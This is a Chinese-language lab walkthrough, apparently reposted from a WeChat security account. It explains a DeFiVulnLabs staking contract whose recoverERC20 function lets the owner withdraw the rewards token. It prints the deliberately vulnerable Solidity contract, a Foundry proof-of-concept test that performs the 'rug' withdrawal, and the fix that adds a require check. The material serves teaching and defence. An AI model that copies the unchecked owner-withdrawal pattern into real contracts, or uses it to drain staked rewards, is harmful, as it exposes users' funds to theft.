DeFiVulnLabs靶场全系列详解(四十五)质押获取的奖励代币可以被合约所有者提取——管理员后门

admin 2025年5月29日23:40:45评论13 views字数 3356阅读11分11秒阅读模式
01
前言
此内容仅作为展示Solidity常见错误的概念证明。它严格用于教育目的,不应被解释为鼓励或认可任何形式的非法活动或实际的黑客攻击企图。所提供的信息仅供参考和学习,基于此内容采取的任何行动均由个人全权负责。使用这些信息应遵守适用的法律、法规和道德标准。
DeFiVulnLabs一共有47个漏洞实验,包括各种经典的合约漏洞和一些少见的可能造成安全问题的不安全代码,本系列将逐一解析每个漏洞,包括官方的解释和自己的理解。
02
押获合约里的的奖励代币可以被合约所有者提取

漏洞解析:

    质押合约是Web3中非常场景的一种理财方式,用户通过质押自己的代币来获得一定的利息,然后通过调用recoverERC20(恢复ERC20代币)来拿回奖励。
    例如质押A代币,获取一定量的B代币(奖励代币),合约所有者可以通过 recoverERC20 函数提取任意已拥有ERC20 代币,但需要确保提取的代币不是奖励代币(rewardsToken。这属于一种管理特权。
    那么有人问了,如果合约管理者是恶意的,那此时的任意的ERC20代币必然比rewardsToken值钱,那如果管理员不是恶意的,那必然不会提取用户的rewardsToken。
    所以我的认为是,我们无法保证一个合约地址的背后的管理员是否会进行变更,合约地址的管理员是人,我们无法相信每个人,只能可能得保证用户权益,也是为了防止误操作。
    如果不学习该漏洞的话,可能按照普通思维来说都不认为这是个漏洞
代码地址:
https://github.com/SunWeb3Sec/DeFiVulnLabs/blob/main/src/test/Incorrect_sanity_checks.sol
代码解析:
VulnStakingRewards合约是一个存在"管理员后门"漏洞的质押奖励合约,合约把_rewardsToken地址作为奖励代币,但是在recoverERC20中未限制提取的tokenAddress的地址是否为存入的人,也就是recoverERC20能提取_rewardsToken。
//如下所示,这是一个质押的合约contract VulnStakingRewards {using SafeERC20 for IERC20;      IERC20 public rewardsToken;    address public owner;event Recovered(address token, uint256 amount);    constructor(address _rewardsToken) {  //定义ERC20为奖励的token        rewardsToken = IERC20(_rewardsToken);        owner = msg.sender;    //拥有者为合约发送者    }//确保调用者为合约拥有者modifier onlyOwner(){        require(msg.sender == owner, "Only owner can call this function");        _;    }//返还ERC20代币//确保该合约只能合约拥有者能调用function recoverERC20(        address tokenAddress,  //ERC20  token的合约地址        uint256 tokenAmount  //奖励数量    )public onlyOwner {//缺少以下代码,导致可被合约拥有者提取提取rewardsToken//require(//   tokenAddress != address(rewardsToken),//  "Cannot withdraw the rewardsToken"//);//确保提取的代币不是奖励代币//转账给owner 合约 代币        IERC20(tokenAddress).safeTransfer(owner, tokenAmount);emit Recovered(tokenAddress, tokenAmount);    }}

直接来看利用exp合约,可以看到就是简单的提取teward_token代币了

function  setUp() public{        RewardTokenContract = new RewardToken();        VulnStakingRewardsContract = new VulnStakingRewards(            address(RewardTokenContract)        );//转给alice 10000个RewardToken代币        RewardTokenContract.transfer(address(alice), 10000 ether);        FixedtakingRewardsContract = new FixedtakingRewards(            address(RewardTokenContract)        );    }function  testVulnStakingRewards() public{console.log("Before rug RewardToken balance in VulnStakingRewardsContract",            RewardTokenContract.balanceOf(address(this))        );        vm.prank(alice);//alice调用RewardTokenContract.transfer函数,将10000个代币转给质押合约        RewardTokenContract.transfer(            address(VulnStakingRewardsContract),10000 ether        );//质押合约返还1000个代币,接受的地址是RewardTokenContract合约本身        VulnStakingRewardsContract.recoverERC20(            address(RewardTokenContract),1000 ether        );//如果修复的话,这里就报错了,因为不能转移RewardTokenContract代币console.log("After rug RewardToken balance in VulnStakingRewardsContract",            RewardTokenContract.balanceOf(address(this))        );    }
利用成功:
可以看到是直接提取了1000*10^18个单位的RewardTokenContract奖励代币,这里的ether并不是以太币,而是指的10^18的单位。
DeFiVulnLabs靶场全系列详解(四十五)质押获取的奖励代币可以被合约所有者提取——管理员后门
利用失败(漏洞修复):
我们要做的就是禁止管理员能够提取奖励代币
DeFiVulnLabs靶场全系列详解(四十五)质押获取的奖励代币可以被合约所有者提取——管理员后门
03
如何修复该问题
如下所示,添加一个requeie,判断要提取的代币地址是否为rewardsToken的地址
function   recoverERC20(        address tokenAddress,  //ERC20  token的合约地址        uint256 tokenAmount  //奖励数量) publiconlyOwner{       //确保提取的代币不是奖励代币        require(           tokenAddress != address(rewardsToken),         "Cannot withdraw the rewardsToken"        );//转账给owner 合约 代币        IERC20(tokenAddress).safeTransfer(owner, tokenAmount);        emit Recovered(tokenAddress, tokenAmount);    }}
04
感谢关注
个人语雀账号:https://www.yuque.com/iceqaq

原文始发于微信公众号(Ice ThirdSpace):DeFiVulnLabs靶场全系列详解(四十五)质押获取的奖励代币可以被合约所有者提取——管理员后门

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月29日23:40:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   DeFiVulnLabs靶场全系列详解(四十五)质押获取的奖励代币可以被合约所有者提取——管理员后门http://cn-sec.com/archives/4112434.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息